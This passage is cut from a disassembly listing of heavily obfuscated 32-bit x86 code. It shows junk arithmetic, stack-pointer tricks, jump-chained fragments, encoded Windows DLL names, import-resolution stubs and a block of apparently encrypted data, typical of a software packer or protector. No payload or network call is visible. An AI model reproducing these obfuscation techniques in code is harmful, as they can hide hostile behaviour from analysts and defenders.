XREF: sub_580566+14FF1j push ebx mov bl, 0D2h and al, bl jmp loc_59F3EB ; --------------------------------------------------------------------------- loc_5A51F4: ; CODE XREF: sub_580566+142B8j sub ecx, eax mov eax, [esp-30h+arg_28] add esp, 4 jmp loc_59F294 ; --------------------------------------------------------------------------- loc_5A5201: ; CODE XREF: sub_580566+153C9j mov [esp-3Ah+arg_30+2], edx mov dl, 8Fh and dl, 0F5h and dl, 2 neg dl sub esp, 2 jmp loc_5958CB ; --------------------------------------------------------------------------- loc_5A5219: ; CODE XREF: sub_580566+1DA6Fj push ebp xchg edx, [esp-3Ah+arg_30+2] not edx jmp loc_592434 ; --------------------------------------------------------------------------- loc_5A5224: ; CODE XREF: sub_580566+1AD32j pop ecx pop edx pop ebx push edx mov dl, 3Fh inc dl jmp loc_592276 ; --------------------------------------------------------------------------- loc_5A5231: ; CODE XREF: sub_580566+1BFFEj pop ecx add [esp-3Eh+arg_38+2], ecx pop ecx push [esp-42h+arg_38+2] jmp loc_59BB6F ; --------------------------------------------------------------------------- loc_5A523F: ; CODE XREF: sub_580566+21313j pop edx push edi jmp loc_591AE2 ; --------------------------------------------------------------------------- loc_5A5246: ; CODE XREF: sub_580566+24207j xor edx, 65EE3F26h dec edx shl edx, 4 push edi jmp loc_597A7E ; --------------------------------------------------------------------------- loc_5A5256: ; DATA XREF: sub_580566+1025Eo mov cx, word ptr [esp-3Ah+arg_30+2] push 4B3Bh jmp loc_59282A ; --------------------------------------------------------------------------- loc_5A5264: ; CODE XREF: sub_580566+16B86j mov eax, 93FF8EF3h xor ebx, eax mov eax, [esp-2Eh+arg_24+2] add esp, 4 mov esi, ebx jmp loc_5A1AF9 ; --------------------------------------------------------------------------- loc_5A5278: ; CODE XREF: sub_580566+1207Ej pop eax shl edi, 2 shr edi, 3 sub esp, 4 mov [esp-42h+arg_38+2], ecx push eax push 15797F0Dh pop eax add eax, 2602891Eh mov ecx, eax pop eax jmp loc_5974B2 ; --------------------------------------------------------------------------- loc_5A529C: ; CODE XREF: sub_580566+20A18j xor edi, [esp-4Ah+arg_40+2] mov esp, [esp-4Ah+arg_40+2] mov [esp-4Ah+arg_40+2], eax push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp-46h+arg_3C+2] pop esp mov [esp-4Ah+arg_40+2], ecx sub esp, 4 mov [esp-46h+arg_3C+2], eax jmp loc_59341E ; --------------------------------------------------------------------------- loc_5A52C5: ; CODE XREF: sub_580566+10855j mov eax, 2E243090h add ecx, eax mov eax, [esp+0] add esp, 4 jmp loc_5A11FD ; --------------------------------------------------------------------------- loc_5A52D7: ; CODE XREF: sub_580566+158C8j pop dx push ebx mov bl, 0C8h add bl, 0C0h not bl push dx push ebx mov bl, 4Dh sub bl, 0E2h mov dl, bl pop ebx jmp loc_59722B ; --------------------------------------------------------------------------- loc_5A52F1: ; CODE XREF: sub_580566+14B4Bj mov edi, 4 jmp loc_59121B ; --------------------------------------------------------------------------- loc_5A52FB: ; CODE XREF: sub_580566+1C3B1j sub edi, eax push ecx mov ecx, 7E9F49E5h jmp loc_596C8A ; --------------------------------------------------------------------------- loc_5A5308: ; CODE XREF: sub_580566+1CC30j mov edx, [esp-40h+arg_38] add esp, 4 mov cl, 0B0h jmp loc_5968C9 ; --------------------------------------------------------------------------- loc_5A5315: ; CODE XREF: sub_580566+1E89Aj add edx, 4 add edx, 4 xchg edx, [esp-42h+arg_38+2] pop esp jmp loc_5937AA ; --------------------------------------------------------------------------- loc_5A5327: ; CODE XREF: sub_580566+1147Ej mov eax, 69502B15h add eax, 3383272Ah push eax inc [esp-32h+arg_28+2] pop eax xor eax, 2F776BDBh shl eax, 4 jmp loc_5A34E4 ; --------------------------------------------------------------------------- loc_5A5343: ; CODE XREF: sub_580566+17D39j mov ecx, ebx mov ebx, [esp-36h+arg_2C+2] add esp, 4 push ebx mov ebx, 6F6A180Fh sub eax, ebx mov ebx, [esp-36h+arg_2C+2] add esp, 4 add eax, ecx push esi mov esi, 6F6A180Fh jmp loc_5A5A36 ; --------------------------------------------------------------------------- loc_5A536C: ; CODE XREF: sub_580566+16C79j shl eax, 1 jmp loc_5A4EB1 ; --------------------------------------------------------------------------- loc_5A5373: ; CODE XREF: sub_580566+23C4Dj mov ecx, 0D69DCA91h sub ebx, ecx pop ecx mov esi, ebx mov ebx, [esp-38h+arg_30] add esp, 4 jmp loc_591BEC ; --------------------------------------------------------------------------- loc_5A538B: ; CODE XREF: sub_580566+122D9j pop [esp-28h+arg_20] pop esp add esp, 4 push dword ptr [edi+1Ch] push [esp-30h+arg_28] push [esp-2Ch+arg_24] pop ecx sub esp, 4 mov [esp-28h+arg_20], ebp mov ebp, esp push ecx mov ecx, 4 sub ebp, 61A0753Ch add ebp, ecx add ebp, 61A0753Ch pop ecx add ebp, 4 xchg ebp, [esp-28h+arg_20] jmp loc_5A0D89 ; --------------------------------------------------------------------------- loc_5A53CA: ; CODE XREF: sub_580566+13A5Bj pop edx add esp, 4 sub al, bl push edx push eax mov al, 3Ah push 4F5h mov [esp-4Ah+arg_40+2], edx mov dh, 1Dh jmp loc_59CF1F ; --------------------------------------------------------------------------- loc_5A53E6: ; CODE XREF: sub_580566+1A0A8j sub esp, 4 mov [esp-16h+arg_E], ecx pop esi pop ecx not esi xor esi, 5BBA42A3h xor esi, 0E08496B9h add edx, esi jmp loc_593830 ; --------------------------------------------------------------------------- loc_5A5406: ; CODE XREF: sub_580566+141E4j pop edx xchg edi, [esp-4Ah+arg_40+2] mov esp, [esp-4Ah+arg_40+2] rol byte ptr [esp-4Ah+arg_40+2], cl pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A5416: ; CODE XREF: sub_580566+2058Dj shl edx, 1 add edx, 0FF1DF580h mov esi, edx pop edx jmp loc_59A5C9 ; --------------------------------------------------------------------------- loc_5A5426: ; CODE XREF: sub_580566+119D0j push eax mov eax, esp jmp loc_59D51D ; --------------------------------------------------------------------------- loc_5A542E: ; CODE XREF: sub_580566+1B232j pop ecx mov dh, al pop eax dec dh jmp loc_592C6A ; --------------------------------------------------------------------------- loc_5A5439: ; CODE XREF: sub_580566+2143Fj mov [esp-4Ah+arg_40+2], ecx push 5C6Ch jmp loc_5923B5 ; --------------------------------------------------------------------------- loc_5A5446: ; CODE XREF: sub_580566+1E83Aj mov eax, [esp-4Eh+arg_44+2] add esp, 4 xor ebp, [esp-52h+arg_48+2] xor [esp-52h+arg_48+2], ebp xor ebp, [esp-52h+arg_48+2] pop esp shr eax, 8 xor eax, ecx xor eax, edx xor edx, eax xor eax, edx push edx xor [esp-52h+arg_48+2], eax xor eax, [esp-52h+arg_48+2] xor [esp-52h+arg_48+2], eax push eax not [esp-4Eh+arg_44+2] mov eax, [esp-4Eh+arg_44+2] push edi jmp loc_590DC0 ; --------------------------------------------------------------------------- loc_5A547B: ; DATA XREF: sub_580566+10472o push dword ptr [edi+1Ch] sub [esp-46h+arg_3C+2], 757711C2h jmp loc_5A2232 ; --------------------------------------------------------------------------- loc_5A548A: ; CODE XREF: sub_580566+116F6j mov [esp-30h+arg_28], edx jmp loc_5A1C8F ; --------------------------------------------------------------------------- loc_5A5492: ; CODE XREF: sub_580566+15F23j pop ebx xchg esi, [esp-32h+arg_28+2] mov esp, [esp-32h+arg_28+2] push 2627h mov [esp-2Eh+arg_24+2], edx mov dh, 32h add dh, 0AFh add dh, 0FFh xor dh, 79h jmp loc_5916C7 ; --------------------------------------------------------------------------- loc_5A54B1: ; CODE XREF: sub_580566+1462Aj not esi jmp loc_59327E ; --------------------------------------------------------------------------- loc_5A54B8: ; CODE XREF: sub_580566+22BF8j xor edi, [esp-28h+arg_20] pop esp sub ecx, 1EF22DF5h sub esp, 4 mov [esp-28h+arg_20], eax mov eax, 8EFBB60Dh xor ecx, eax pop eax add ebx, ecx pop ecx push ecx jmp loc_5A4CBB ; --------------------------------------------------------------------------- loc_5A54D9: ; CODE XREF: sub_580566+193C6j push esi mov esi, edi mov ecx, esi mov esi, [esp-1Ch+arg_12+2] add esp, 4 mov edi, [esp-20h+arg_16+2] add esp, 4 add esi, ecx push [esp-24h+arg_1A+2] pop ecx add esp, 4 push esi push [esp-24h+arg_20] jmp loc_59E5E3 ; --------------------------------------------------------------------------- loc_5A5503: ; CODE XREF: sub_580566+2087Ej add esp, 4 add cl, bh mov ebx, [esp-3Ah+arg_30+2] add esp, 4 jmp loc_59AFA9 ; --------------------------------------------------------------------------- loc_5A5516: ; CODE XREF: sub_580566+23451j mov cx, word ptr [esp-32h+arg_28+2] jmp loc_59AA94 ; --------------------------------------------------------------------------- loc_5A551F: ; CODE XREF: sub_580566+21408j mov edi, 21BE2E31h sub edi, ecx pop ecx push esi jmp loc_5A2B2F ; --------------------------------------------------------------------------- loc_5A552D: ; CODE XREF: sub_580566+1445Ej push eax mov eax, 4 mov ebx, eax pop eax sub ebp, 2ECB123Ch jmp loc_594823 ; --------------------------------------------------------------------------- loc_5A5541: ; CODE XREF: sub_580566+1A619j xor ecx, [esp-44h+arg_3C] xor [esp-44h+arg_3C], ecx xor ecx, [esp-44h+arg_3C] pop esp mov ax, word ptr [esp-48h+arg_40] push eax jmp loc_5A3FC8 ; --------------------------------------------------------------------------- loc_5A5555: ; CODE XREF: sub_580566+129A7j mov edx, 52A96FF4h jmp loc_5A4471 ; --------------------------------------------------------------------------- loc_5A555F: ; CODE XREF: sub_580566+12E23j add edi, ebp pop ebp push ebx mov ebx, 61561289h push eax mov eax, 5A213AF4h or eax, 38FC1179h xor eax, 1BAB2970h xor ebx, eax pop eax sub edi, ebx pop ebx xor edi, [esp-42h+arg_38+2] xor [esp-42h+arg_38+2], edi xor edi, [esp-42h+arg_38+2] pop esp mov [esp-46h+arg_3C+2], ebp push edx mov edx, 4C48393Ch jmp loc_5A42D8 ; --------------------------------------------------------------------------- loc_5A5596: ; DATA XREF: sub_580566+104BAo pop dword ptr fs:[edx] jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A559E: ; CODE XREF: sub_580566+18841j add ebx, esi jmp loc_5A39BC ; --------------------------------------------------------------------------- loc_5A55A5: ; CODE XREF: sub_580566+2203Cj push dword ptr [eax] jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A55AC: ; CODE XREF: sub_580566+231EDj shl ebx, 3 push ebp mov ebp, 37F20B5Bh shl ebp, 1 xor ebp, 1B4C48EDh or ebx, ebp pop ebp shr ebx, 2 add ebx, 0C084042Ah and eax, ebx pop ebx jmp loc_598FA2 ; --------------------------------------------------------------------------- loc_5A55D1: ; CODE XREF: sub_580566+18948j or di, 69C0h dec di push bp jmp loc_59CCEB ; --------------------------------------------------------------------------- loc_5A55DF: ; CODE XREF: sub_580566+20B7Dj mov ebp, [esp-3Eh+arg_34+2] add esp, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp-3Eh+arg_34+2] pop esp mov [esp-42h+arg_38+2], esi mov esi, 2 sub ecx, 588B4F9Dh add ecx, esi push ebx mov ebx, 588B4F9Dh jmp loc_59C435 ; --------------------------------------------------------------------------- loc_5A5613: ; CODE XREF: sub_580566+20D82j add edi, 0F1985889h and ebp, edi pop edi not ebp sub ebp, 6F448A5Ch mov eax, ebp mov ebp, [esp-2Ch+arg_24] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-28h+arg_20] mov esp, [esp-28h+arg_20] push ecx jmp loc_59C7DE ; --------------------------------------------------------------------------- loc_5A5641: ; CODE XREF: sub_580566+1C8E4j add edi, eax sub edi, 13DA6117h jmp loc_5930EF ; --------------------------------------------------------------------------- loc_5A564E: ; CODE XREF: sub_580566+1429Ej pop ecx add ecx, 4 sub ecx, 4 xor ecx, [esp-34h+arg_2C] xor [esp-34h+arg_2C], ecx xor ecx, [esp-34h+arg_2C] mov esp, [esp-34h+arg_2C] mov [esp-34h+arg_2C], esp add [esp-34h+arg_2C], 4 pop esi push ecx push esi mov esi, 3B471F2Fh not esi jmp loc_594ED2 ; --------------------------------------------------------------------------- loc_5A567A: ; CODE XREF: sub_580566+1A598j push esi mov esi, 55C62470h jmp loc_59D784 ; --------------------------------------------------------------------------- loc_5A5685: ; CODE XREF: sub_580566+1CF25j add ecx, 4 add ecx, 4 xchg ecx, [esp-44h+arg_3C] pop esp xor esi, [esp-48h+arg_40] xor [esp-48h+arg_40], esi jmp loc_59419A ; --------------------------------------------------------------------------- loc_5A56A0: ; CODE XREF: sub_580566+1DED5j push ecx mov ecx, 0CBE4848h inc ecx jmp loc_59754C ; --------------------------------------------------------------------------- loc_5A56AC: ; CODE XREF: sub_580566+1C2D7j sub ecx, 60333C58h add ecx, edx add ecx, 60333C58h sub ecx, 15254483h push eax mov eax, 0 add eax, ecx xor [eax], ebp pop eax pop ecx jmp loc_5A4DF7 ; --------------------------------------------------------------------------- loc_5A56D1: ; CODE XREF: sub_580566+164DBj mov eax, [esp-46h+arg_3C+2] add esp, 4 jmp loc_596703 ; --------------------------------------------------------------------------- loc_5A56DF: ; CODE XREF: sub_580566+1D916j pop bx sub cl, ah jmp loc_5A0DE1 ; --------------------------------------------------------------------------- loc_5A56E8: ; CODE XREF: sub_580566+1FE74j push edx jmp loc_597C1E ; --------------------------------------------------------------------------- loc_5A56EE: ; CODE XREF: sub_580566+22AD8j add edx, 4 sub esp, 4 mov [esp-34h+arg_2C], edx push [esp-34h+arg_30] jmp loc_59F168 ; --------------------------------------------------------------------------- loc_5A5700: ; CODE XREF: sub_580566+1DA7Bj mov esp, [esp-28h+arg_20] mov [esp-28h+arg_20], edx mov edx, 1 or [edi+1Ch], edx pop edx loc_5A570F: ; CODE XREF: sub_580566+124D5j push 0B53h mov [esp-28h+arg_20], ebx jmp loc_59ADE5 ; --------------------------------------------------------------------------- loc_5A571C: ; CODE XREF: sub_580566+1FF03j sub [esp-3Ah+arg_34+2], 4C5C30B6h add [esp-3Ah+arg_34+2], 1AF641FCh jmp loc_590C89 ; --------------------------------------------------------------------------- loc_5A5731: ; CODE XREF: sub_580566+1F02Bj mov ecx, esp push edx push edi mov edi, 80870EAh mov edx, 30EED359h add edx, edi pop edi shr edx, 8 jmp loc_59C266 ; --------------------------------------------------------------------------- loc_5A574A: ; CODE XREF: sub_580566+144F4j pop [esp-46h+arg_3C+2] jmp loc_5A1C89 ; --------------------------------------------------------------------------- loc_5A5752: ; CODE XREF: sub_580566+1E2A6j pop edx add edx, ecx push [esp-44h+arg_3C] pop ecx push edx mov edx, esp add edx, 4 jmp loc_59E31B ; --------------------------------------------------------------------------- loc_5A5767: ; CODE XREF: sub_580566+1C780j push esi xchg edi, [esp-1Ch+arg_12+2] inc edi push edi push [esp-18h+arg_12+2] pop edi pop [esp-18h+arg_E+2] pop esi push 40F3h mov [esp-1Ch+arg_12+2], edi mov edi, 2086DB9h push 0 sub [esp-18h+arg_E+2], edi pop edi dec edi jmp loc_591625 ; --------------------------------------------------------------------------- loc_5A5792: ; CODE XREF: sub_580566+1A1F3j mov eax, 78930BC5h shr eax, 8 xor eax, 5815261Ah sub eax, 2DF147F5h push ecx mov ecx, 0B9E09BBFh add eax, ecx pop ecx sub esi, eax mov eax, [esp-24h+arg_1A+2] add esp, 4 sub ebx, esi pop esi sub ebx, ebp add ebx, 45094C95h mov ebp, [esp-2Ch+arg_24] jmp loc_5A3D33 ; --------------------------------------------------------------------------- loc_5A57CB: ; CODE XREF: sub_580566+10DB0j push [esp-2Eh+arg_24+2] jmp loc_59F40C ; --------------------------------------------------------------------------- loc_5A57D3: ; CODE XREF: sub_580566+1BE5Bj mov ecx, 4 add [esp+4], ecx pop ecx push dword ptr [esp+0] pop ebx sub esp, 4 mov [esp-22h+arg_1A], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-22h+arg_1A] pop esp push 415Bh mov [esp-22h+arg_1A], ecx mov ecx, 4 add ebx, ecx pop ecx push edx mov edx, 65C019F9h jmp loc_59140A ; --------------------------------------------------------------------------- loc_5A5814: ; CODE XREF: sub_580566+16ADCj mov edi, [esp-24h+arg_1A+2] jmp loc_5A2D7D ; --------------------------------------------------------------------------- loc_5A581C: ; CODE XREF: sub_580566+10B09j sub esp, 4 jmp loc_5992E1 ; --------------------------------------------------------------------------- loc_5A5824: ; CODE XREF: sub_580566+1CB85j cmp eax, edx jz loc_5A5B94 push 261h jmp loc_59612C ; --------------------------------------------------------------------------- loc_5A5836: ; CODE XREF: sub_580566+18D9Dj mov edi, esi mov esi, [esp-30h+arg_28] jmp loc_59CC0D ; --------------------------------------------------------------------------- loc_5A5840: ; CODE XREF: sub_580566+213F7j sub dh, 2Eh add dh, 0C5h add dh, ah push ecx mov cl, 0F3h jmp loc_597D96 ; --------------------------------------------------------------------------- loc_5A5850: ; CODE XREF: sub_580566+1DE4Aj mov edx, 2E512F80h jmp loc_594BE0 ; --------------------------------------------------------------------------- loc_5A585A: ; CODE XREF: sub_580566+17BE8j pop esi add esp, 4 jmp loc_591107 ; --------------------------------------------------------------------------- loc_5A5866: ; CODE XREF: sub_580566+21271j add ebp, ebx mov ebx, [esp-36h+arg_2C+2] add esp, 4 xor ebp, [esp-3Ah+arg_30+2] jmp loc_5966E6 ; --------------------------------------------------------------------------- loc_5A5876: ; CODE XREF: sub_580566+10AABj mov esi, 2 jmp loc_59E2A0 ; --------------------------------------------------------------------------- loc_5A5880: ; CODE XREF: sub_580566+1D473j mov esp, [esp-32h+arg_28+2] mov [esp-32h+arg_28+2], ebx push esp pop ebx push edx mov edx, 4 push eax mov eax, 0C341C6h add ebx, eax pop eax add ebx, edx sub ebx, 0C341C6h jmp loc_592800 ; --------------------------------------------------------------------------- loc_5A58A4: ; CODE XREF: sub_580566+1454Bj mov ebx, [esp-32h+arg_28+2] jmp loc_595DAE ; --------------------------------------------------------------------------- loc_5A58AC: ; CODE XREF: sub_580566+11C89j push [esp-48h+arg_40] pop eax push edi push 6C99h mov [esp-40h+arg_38], esp jmp loc_59F6CA ; --------------------------------------------------------------------------- loc_5A58BE: ; CODE XREF: sub_580566+1C307j mov ebx, [esp-2Ah+arg_20+2] jmp loc_5953B7 ; --------------------------------------------------------------------------- loc_5A58C6: ; CODE XREF: sub_580566+140A0j sub edi, 7EA57992h push 6BAFh mov [esp-1Ch+arg_12+2], edi push ebx sub esp, 4 mov [esp-14h+arg_A+2], eax mov eax, 3C384728h mov ebx, eax pop eax sub [esp-18h+arg_12+2], ebx jmp loc_5950C8 ; --------------------------------------------------------------------------- loc_5A58EC: ; CODE XREF: sub_580566+1E9A3j pop eax inc esi jmp loc_59C2AC ; --------------------------------------------------------------------------- loc_5A58F3: ; DATA XREF: sub_580566+104BEo lodsd jmp loc_596C60 ; --------------------------------------------------------------------------- loc_5A58F9: ; CODE XREF: sub_580566+229FDj pop ebp push ebp mov ebp, 45D94B12h jmp loc_597B10 ; --------------------------------------------------------------------------- loc_5A5905: ; CODE XREF: sub_580566+148B2j inc edi shr edi, 4 inc edi sub edi, 0D3C25524h add edx, 13273F97h sub edx, edi sub edx, 13273F97h mov edi, [esp-24h+arg_1A+2] add esp, 4 sub edx, 1 not edx not edx sub edx, 6DC96D53h add ecx, 50991437h jmp loc_596729 ; --------------------------------------------------------------------------- loc_5A593C: ; CODE XREF: sub_580566+19EFBj pop edi push 5BD4h mov [esp-48h+arg_40], ecx push ebp mov ebp, 74BA7A05h mov ecx, 74BA7A09h sub ecx, ebp pop ebp add eax, ecx jmp loc_596165 ; --------------------------------------------------------------------------- loc_5A595A: ; CODE XREF: sub_580566+1E5EBj pop eax jmp loc_59DF68 ; --------------------------------------------------------------------------- loc_5A5960: ; DATA XREF: sub_580566+1027Ao lodsb xor al, bl push ecx mov ch, 0ABh jmp loc_593D7A ; --------------------------------------------------------------------------- loc_5A596B: ; CODE XREF: sub_580566+112FDj push edi mov edi, 0BC379B3h neg edi inc edi dec edi shl edi, 5 add edi, 0EC24B282h and ebp, edi pop edi sub ebp, 0AE4A3E19h sub esp, 4 mov [esp-34h+arg_2C], esi sub esp, 4 jmp loc_592A61 ; --------------------------------------------------------------------------- loc_5A5995: ; CODE XREF: sub_580566+21278j mov edi, 194B3248h jmp loc_59D961 ; --------------------------------------------------------------------------- loc_5A599F: ; CODE XREF: sub_580566+1216Fj mov ebx, [esp-56h+arg_4E] add esp, 4 jmp loc_59ACDE ; --------------------------------------------------------------------------- loc_5A59AA: ; CODE XREF: sub_580566+1DC91j xor ecx, 75C2D38h sub ecx, 3D4A61A8h or ecx, 76FD2769h jmp loc_597C8E ; --------------------------------------------------------------------------- loc_5A59C1: ; CODE XREF: sub_580566+10C10j add esp, 4 jmp loc_591730 ; --------------------------------------------------------------------------- loc_5A59CC: ; CODE XREF: sub_580566+17371j pop edi xor ebp, [esp+0] xor [esp+0], ebp xor ebp, [esp+0] mov esp, [esp+0] push eax jmp loc_59F00B ; --------------------------------------------------------------------------- loc_5A59DF: ; CODE XREF: sub_580566+133ECj push 6915h jmp loc_599C33 ; --------------------------------------------------------------------------- loc_5A59E9: ; CODE XREF: sub_580566+1DEAEj sub ecx, 1005214h jmp loc_59CB7E ; --------------------------------------------------------------------------- loc_5A59F4: ; CODE XREF: sub_580566+17F85j add esp, 4 pop [esp-32h+arg_28+2] pop esp add eax, 671363C3h push edi mov edi, esp add edi, 4 jmp loc_59F4D4 ; --------------------------------------------------------------------------- loc_5A5A0E: ; CODE XREF: sub_580566+15CB1j add edx, ebx sub edx, 0B101CEEh pop ebx xchg edx, [esp-30h+arg_28] pop esp jmp loc_596D8D ; --------------------------------------------------------------------------- loc_5A5A20: ; CODE XREF: sub_580566+1AE31j mov esi, ebx mov ebx, [esp-4Eh+arg_44+2] add esp, 4 push esi pop edx pop esi neg edx shr edx, 6 push ecx jmp loc_5A0BF4 ; --------------------------------------------------------------------------- loc_5A5A36: ; CODE XREF: sub_580566+24E01j sub eax, 25551723h add eax, esi push esi mov esi, 25551723h jmp loc_5A1320 ; --------------------------------------------------------------------------- loc_5A5A48: ; CODE XREF: sub_580566+1F462j mov eax, [esp-18h+arg_E+2] push ebx sub esp, 4 push esp jmp loc_59CDB0 ; --------------------------------------------------------------------------- loc_5A5A58: ; CODE XREF: sub_580566+18A62j xor ebx, [esp-48h+arg_40] jmp loc_59EA7C ; --------------------------------------------------------------------------- loc_5A5A60: ; CODE XREF: sub_580566+23180j push eax mov al, bl jmp loc_59E8AB ; --------------------------------------------------------------------------- loc_5A5A68: ; CODE XREF: sub_580566+15F3Ej push [esp-36h+arg_30+2] pop ebx pop [esp-36h+arg_2C+2] mov esp, [esp-3Ah+arg_30+2] push edx jmp loc_595172 ; --------------------------------------------------------------------------- loc_5A5A79: ; CODE XREF: sub_580566+19BA5j add ebx, 4 sub ebx, 4 xchg ebx, [esp-24h+arg_1A+2] pop esp jmp loc_59A116 ; --------------------------------------------------------------------------- loc_5A5A8E: ; CODE XREF: sub_580566+1845Aj push ecx jmp loc_5964A9 ; --------------------------------------------------------------------------- loc_5A5A94: ; CODE XREF: sub_580566+143C4j push [esp-40h+arg_38] mov eax, [esp-3Ch+arg_34] push edx mov edx, esp push ebx push eax mov eax, 2208291Dh jmp loc_59C05B ; --------------------------------------------------------------------------- loc_5A5AA9: ; CODE XREF: sub_580566+1F59Aj or edx, 773073B9h and edx, 64D83586h add edx, 0D768E717h add ebx, edx pop edx mov edi, [esp-3Ah+arg_30+2] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5A4654 ; --------------------------------------------------------------------------- loc_5A5AD5: ; CODE XREF: sub_580566+13592j mov esi, 53230D51h sub esi, ebp pop ebp push eax mov eax, 30086F85h inc eax push 0 sub [esp-1Ch+arg_12+2], eax mov eax, [esp-1Ch+arg_12+2] add esp, 4 jmp loc_594653 ; --------------------------------------------------------------------------- loc_5A5AF7: ; CODE XREF: sub_580566+24429j push 42C2h mov [esp-4Ah+arg_40+2], ecx jmp loc_59C552 ; --------------------------------------------------------------------------- loc_5A5B04: ; CODE XREF: sub_580566+20BCFj add esp, 4 push ebx mov ebx, 16B6620Dh add eax, ebx pop ebx sub eax, 76795273h add eax, ebp add eax, 76795273h push ebp mov ebp, 16B6620Dh jmp loc_592921 ; --------------------------------------------------------------------------- loc_5A5B2A: ; CODE XREF: sub_580566+12C10j add [esp-46h+arg_40+2], edx jmp loc_59EC6F ; --------------------------------------------------------------------------- loc_5A5B33: ; CODE XREF: sub_580566+14E8Ej xor ebp, [esp-3Ch+arg_34] mov esp, [esp-3Ch+arg_34] and word ptr [esp-3Ch+arg_34], ax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A5B43: ; CODE XREF: sub_580566+14996j pop edx movzx eax, al lea eax, [edi+eax*4] jmp loc_59932E ; --------------------------------------------------------------------------- loc_5A5B4F: ; CODE XREF: sub_580566+1FEB9j mov ebx, 0F7D0DE24h jmp loc_591DD0 ; --------------------------------------------------------------------------- loc_5A5B59: ; CODE XREF: sub_580566+19E5Ej sub edx, ebp mov ebp, [esp-28h+arg_20] add esp, 4 sub edx, ebp add edx, 1FB51763h pop ebp or ecx, ecx jz loc_5A4E02 sub esp, 4 push esp pop [esp-28h+arg_20] push edx mov edx, 4 push edx jmp loc_59F1E1 ; --------------------------------------------------------------------------- loc_5A5B85: ; CODE XREF: sub_580566+18CA3j mov cl, dh mov bh, cl jmp loc_5A3E1C ; --------------------------------------------------------------------------- loc_5A5B8E: ; CODE XREF: sub_580566+1EFFDj mov ebp, [esp-4Ch+arg_44] add esp, 4 loc_5A5B94: ; CODE XREF: sub_580566+1AF49j ; sub_580566+252C0j push [esp-50h+arg_48] jmp loc_59BD1A ; --------------------------------------------------------------------------- loc_5A5B9C: ; CODE XREF: sub_580566+18FB9j and [edi+1Ch], ebx push [esp-32h+arg_28+2] jmp loc_594B4A ; --------------------------------------------------------------------------- loc_5A5BA7: ; CODE XREF: sub_580566+1C996j add ecx, edi mov edi, [esp-2Ch+arg_24] add esp, 4 add ecx, 4 jmp loc_5A2A91 ; --------------------------------------------------------------------------- loc_5A5BBD: ; CODE XREF: sub_580566+18ADFj add esi, ecx sub esi, 5D2F086Dh push eax mov eax, 352C283Ch add eax, 3A5A64FCh xor eax, 6F1AD1DFh jmp loc_5919F9 ; --------------------------------------------------------------------------- loc_5A5BDA: ; CODE XREF: sub_580566+13E73j mov [esp-24h+arg_1A+2], esi push 65246C5Dh jmp loc_5945AD ; --------------------------------------------------------------------------- loc_5A5BE7: ; CODE XREF: sub_580566+1575Ej add eax, 4A6B3D74h jmp loc_5A2923 ; --------------------------------------------------------------------------- loc_5A5BF1: ; CODE XREF: sub_580566+3BE1j jmp loc_5A5C3E ; --------------------------------------------------------------------------- dw 6DB2h dd 5355310Bh, 32335245h, 6C6C642Eh, 56444100h, 33495041h dd 6C642E32h, 544E006Ch, 2E4C4C44h, 6C6C64h, 507D8h, 60002h dd 9000Fh, 0FA0032h, 4 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A5C3E: ; CODE XREF: sub_580566:loc_5A5BF1j jmp loc_5A6514 ; --------------------------------------------------------------------------- push 6159A55h jmp loc_58442C ; --------------------------------------------------------------------------- push 6159AD5h jmp loc_58442C ; --------------------------------------------------------------------------- push 6159BFDh jmp loc_58442C ; --------------------------------------------------------------------------- push 6159DADh jmp loc_58442C ; --------------------------------------------------------------------------- push 6159E3Eh jmp loc_58442C ; --------------------------------------------------------------------------- push 6159F2Ah jmp loc_58442C ; --------------------------------------------------------------------------- push 6159F93h jmp loc_58442C ; --------------------------------------------------------------------------- db 7Ch, 0EEh, 68h dd 78D6684Ah, 66E4785Ah, 7FD16248h, 68EC795Fh, 0B7D45B4Ah dd 0A68C2A2Ah, 0BC9E3C16h, 9F812127h, 0D3A03E0Eh, 4DFD598Ch dd 53C616B3h, 0D8D2B9EFh, 22F0EEEFh, 10D862F6h, 0EAC9BDA4h dd 0FA56E5CDh, 63A22A6Bh, 168EE3C2h, 0BC51B2D3h, 0C334D545h dd 0A4094B6h, 0A612DA3Bh, 79ECCBBBh, 36A1B584h, 0EB49187Dh dd 143390F6h, 0A5B49E2Eh, 582D5C64h, 0D1308E8Ch, 1D506F4Ch dd 248A77C1h, 94C10B8Ah, 91311BAEh, 3B2E1EAFh, 9A031233h dd 4BA8A544h, 12000007h, 0E3492C4h, 0E3492BCh, 103290BAh dd 0F3191BFh, 13492C2h, 0E470BD2Eh, 0FE54E4C6h, 0E365FAE0h dd 4CDDC3h, 47B699A2h, 16B34ECBh, 0BDE17D94h, 0AB9B1A6Ch dd 0AA102469h, 77C6ECCBh, 585413DDh, 2B1DB211h, 654A6D4Ah dd 0B82087E8h, 47C60E31h, 16890CF7h, 0A4862568h, 0B799390Fh dd 0B8CF6124h, 0F5142523h, 5F44C594h, 89D31641h, 19284938h dd 0B5A8A435h, 8001F37Fh, 0CB302DBCh, 92000006h, 8EB41244h dd 8EB4123Ch, 90B2103Ah, 8FB1113Fh, 81B41242h, 64F03DAEh dd 7ED46446h, 63E57A60h, 80CC5D43h, 0C7361922h, 16B34F4Bh dd 0BD61FD14h, 0FE8D1D6Ch, 73C2A3ADh, 97F3AD12h, 2846A219h dd 0C0456A49h, 836C580Eh, 51C541B4h, 0F8E109Eh, 0C307666Eh dd 0D5FDDA72h, 7ED80D87h, 47109E52h, 0B496A7C6h, 0FA1B2A20h dd 0ED92519Bh, 0F0C0EC5Dh, 58A3417Bh, 4Ch, 0E06CBDFEh dd 0E0C268C2h, 49B8004Eh, 109DB4C9h, 3A98B405h, 0A6A2351Dh dd 0BFC7221Eh, 0CD1B3F20h, 7FCC3B85h, 0EC168EC2h, 93280AA9h dd 123815B5h, 5DBC8DBFh, 5AEE4193h, 614CE0Bh, 0C9F10000h dd 6FEB1A7Ch, 380A8A40h, 0B22CB4D5h, 51E06CBDh, 5B780E53h dd 